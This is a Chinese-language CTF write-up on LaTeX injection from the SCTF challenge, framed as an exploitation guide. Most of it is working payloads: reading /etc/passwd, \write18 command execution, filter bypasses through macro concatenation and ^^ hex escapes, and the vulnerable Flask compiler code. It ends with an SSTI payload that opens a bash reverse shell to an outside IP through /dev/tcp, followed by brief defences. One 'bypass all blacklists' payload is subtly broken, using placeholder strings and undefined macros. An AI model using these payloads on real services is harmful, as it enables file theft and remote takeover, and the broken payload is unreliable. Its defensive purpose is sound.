由SCTF引入的LaTex Injection
字数 1371 2025-08-22 12:22:48

LaTeX Injection 安全漏洞研究与利用指南

1. LaTeX 安全背景

LaTeX 是一种基于 TeX 的排版系统,广泛用于学术论文和技术文档的编写。LaTeX 文件后缀为 .tex,需要编译运行。由于其可以像编程语言一样执行命令、读写文件等特性,存在安全隐患。

1.1 安全配置选项

LaTeX 提供了以下安全配置项:

  • shell_escape:控制是否允许执行命令

    • f:不允许执行任何命令
    • t:允许执行任何命令
    • p:支持执行白名单内的命令(默认)
  • shell_escape_commands:定义允许执行的命令白名单

2. LaTeX Injection 攻击面

LaTeX 常用于以下场景:

  • 扫描数学公式
  • LaTeX 转 PDF
  • LaTeX 转图片
  • 文档编写和页面排版

当用户输入的 LaTeX 代码可控且未经过滤时,可能导致 LaTeX Injection 漏洞。

3. 基本攻击技术

3.1 文件读取技术

3.1.1 使用 \input 命令

\input{/etc/passwd}

读取 /etc/passwd 文件并写入生成的 PDF 中。

3.1.2 使用 \include 命令(针对 .tex 文件)

\include{password}

从当前工作目录包含 password.tex 文件。

3.1.3 逐行读取文件

\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

读取文件首行。

3.1.4 读取整个文件

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
  \read\file to\fileline
  \text{\fileline}
\repeat
\closein\file

3.1.5 使用 verbatim 包读取原始内容

\usepackage{verbatim}
\verbatiminput{/etc/passwd}

3.2 文件写入技术

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{hello-world}
\closeout\outfile

cmd.tex 文件中写入 hello-world 字符串。

3.3 命令执行技术

3.3.1 基本命令执行

\immediate\write18{env}

执行 env 命令获取环境变量。

3.3.2 重定向输出到文件

\immediate\write18{env > env.tex}
\input{env.tex}

3.3.3 使用 base64 编码

\immediate\write18{env | base64 > text.tex}
\input{text.tex}

3.3.4 PdfTeX 特有执行方式

\input|"ls"
\input|ls
\input|ls|base64
\makeatletter
\@@input|"ls"
\makeatother

4. 绕过技术

4.1 命令拼接绕过

\input, \include, \write18, \immediate 被禁用时:

\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {string18}
\def \wwrite {\string\write\eighteen}
\def \args {\string{ls | base64 > test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{text.tex\string}}

% 第一次运行写入命令
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile

% 第二次运行执行命令
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
  \read\file to\fileline
  \fileline
\repeat
\closein\file

4.2 ASCII 编码绕过

使用 ^^ 前缀进行 ASCII 编码:

\documentclass{article}
\begin{document}
\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
  \imm^^65diate\read\infile to\line
  \imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}

5. 实际案例分析(SCTF LaTeX)

5.1 限制条件

  • 禁用关键字:\write18, \immediate, \input, app/, include, ..
  • 编译文件名长度 ≤ 6

5.2 有效载荷

5.2.1 读取文件

\newread\file
\openin\file=\\etc\\passwd
\read\file to\line
\text{\line}
\closein\file

5.2.2 写入文件

\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile

5.2.3 绕过所有黑名单

\def \imm {\string\imme}
\def \diate {diate}
\def \wwrite {wwrite}
\def \args {args}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
  \read\file to\fileline
  \fileline
\repeat
\closein\file

5.3 服务器端代码分析

import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename

app = Flask(__name__)

if not app.debug:
    handler = logging.FileHandler('app.log')
    handler.setLevel(logging.INFO)
    app.logger.addHandler(handler)

UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def compile_tex(file_path):
    output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
    try:
        subprocess.check_call(['pdflatex', file_path])
        return output_filename
    except subprocess.CalledProcessError as e:
        return str(e)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file and allowed_file(file.filename):
        content = file.read()
        try:
            content_str = content.decode('utf-8')
        except UnicodeDecodeError:
            return 'File content is not decodable'
        
        for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate', 'app', 'flag']:
            if bad_char in content_str:
                return 'File content is not safe'
        
        file.seek(0)
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        file.save(file_path)
        return 'File uploaded successfully, And you can compile the tex file'
    else:
        return 'Invalid file type or name'

@app.route('/compile', methods=['GET'])
def compile():
    filename = request.args.get('filename')
    if not filename:
        return 'No filename provided', 400
    if len(filename) >= 7:
        return 'Invalid file name length', 400
    if not filename.endswith('.tex'):
        return 'Invalid file type', 400
    
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    print(file_path)
    if not os.path.isfile(file_path):
        return 'File not found', 404
    
    output_pdf = compile_tex(file_path)
    if output_pdf.endswith('.pdf'):
        return "Compilation succeeded"
    else:
        return 'Compilation failed', 500

@app.route('/log')
def log():
    try:
        with open('app.log', 'r') as log_file:
            log_contents = log_file.read()
        return render_template('log.html', log_contents=log_contents)
    except FileNotFoundError:
        return 'Log file not found', 404

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=3000, debug=False)

5.4 利用 SSTI 反弹 Shell

\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{ lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f115.236.153.177^^2f30908 0>&1"').read() }}}
\closeout\t
\newpage
foo
\end{document}

6. 防御措施

  1. 输入过滤:严格过滤用户输入的 LaTeX 代码,特别是特殊字符和命令
  2. 安全配置:设置 shell_escape=f 禁用命令执行
  3. 沙箱环境:在隔离环境中编译用户提供的 LaTeX 代码
  4. 文件权限:限制 LaTeX 进程的文件系统访问权限
  5. 日志监控:监控异常编译行为和文件访问
  6. 文件名限制:避免使用用户提供的文件名直接操作文件系统

7. 总结

LaTeX Injection 是一种严重的安全漏洞,攻击者可以利用它执行任意命令、读取敏感文件和写入恶意内容。防御此类攻击需要多层次的防护措施,包括输入验证、安全配置和环境隔离。开发人员在使用 LaTeX 处理用户输入时应格外小心,遵循最小权限原则和安全编码实践。

LaTeX Injection 安全漏洞研究与利用指南 1. LaTeX 安全背景 LaTeX 是一种基于 TeX 的排版系统,广泛用于学术论文和技术文档的编写。LaTeX 文件后缀为 .tex ,需要编译运行。由于其可以像编程语言一样执行命令、读写文件等特性,存在安全隐患。 1.1 安全配置选项 LaTeX 提供了以下安全配置项: shell_ escape :控制是否允许执行命令 f :不允许执行任何命令 t :允许执行任何命令 p :支持执行白名单内的命令(默认) shell_ escape_ commands :定义允许执行的命令白名单 2. LaTeX Injection 攻击面 LaTeX 常用于以下场景: 扫描数学公式 LaTeX 转 PDF LaTeX 转图片 文档编写和页面排版 当用户输入的 LaTeX 代码可控且未经过滤时,可能导致 LaTeX Injection 漏洞。 3. 基本攻击技术 3.1 文件读取技术 3.1.1 使用 \input 命令 读取 /etc/passwd 文件并写入生成的 PDF 中。 3.1.2 使用 \include 命令(针对 .tex 文件) 从当前工作目录包含 password.tex 文件。 3.1.3 逐行读取文件 读取文件首行。 3.1.4 读取整个文件 3.1.5 使用 verbatim 包读取原始内容 3.2 文件写入技术 在 cmd.tex 文件中写入 hello-world 字符串。 3.3 命令执行技术 3.3.1 基本命令执行 执行 env 命令获取环境变量。 3.3.2 重定向输出到文件 3.3.3 使用 base64 编码 3.3.4 PdfTeX 特有执行方式 4. 绕过技术 4.1 命令拼接绕过 当 \input , \include , \write18 , \immediate 被禁用时: 4.2 ASCII 编码绕过 使用 ^^ 前缀进行 ASCII 编码: 5. 实际案例分析(SCTF LaTeX) 5.1 限制条件 禁用关键字: \write18 , \immediate , \input , app/ , include , .. 编译文件名长度 ≤ 6 5.2 有效载荷 5.2.1 读取文件 5.2.2 写入文件 5.2.3 绕过所有黑名单 5.3 服务器端代码分析 5.4 利用 SSTI 反弹 Shell 6. 防御措施 输入过滤 :严格过滤用户输入的 LaTeX 代码,特别是特殊字符和命令 安全配置 :设置 shell_escape=f 禁用命令执行 沙箱环境 :在隔离环境中编译用户提供的 LaTeX 代码 文件权限 :限制 LaTeX 进程的文件系统访问权限 日志监控 :监控异常编译行为和文件访问 文件名限制 :避免使用用户提供的文件名直接操作文件系统 7. 总结 LaTeX Injection 是一种严重的安全漏洞,攻击者可以利用它执行任意命令、读取敏感文件和写入恶意内容。防御此类攻击需要多层次的防护措施,包括输入验证、安全配置和环境隔离。开发人员在使用 LaTeX 处理用户输入时应格外小心,遵循最小权限原则和安全编码实践。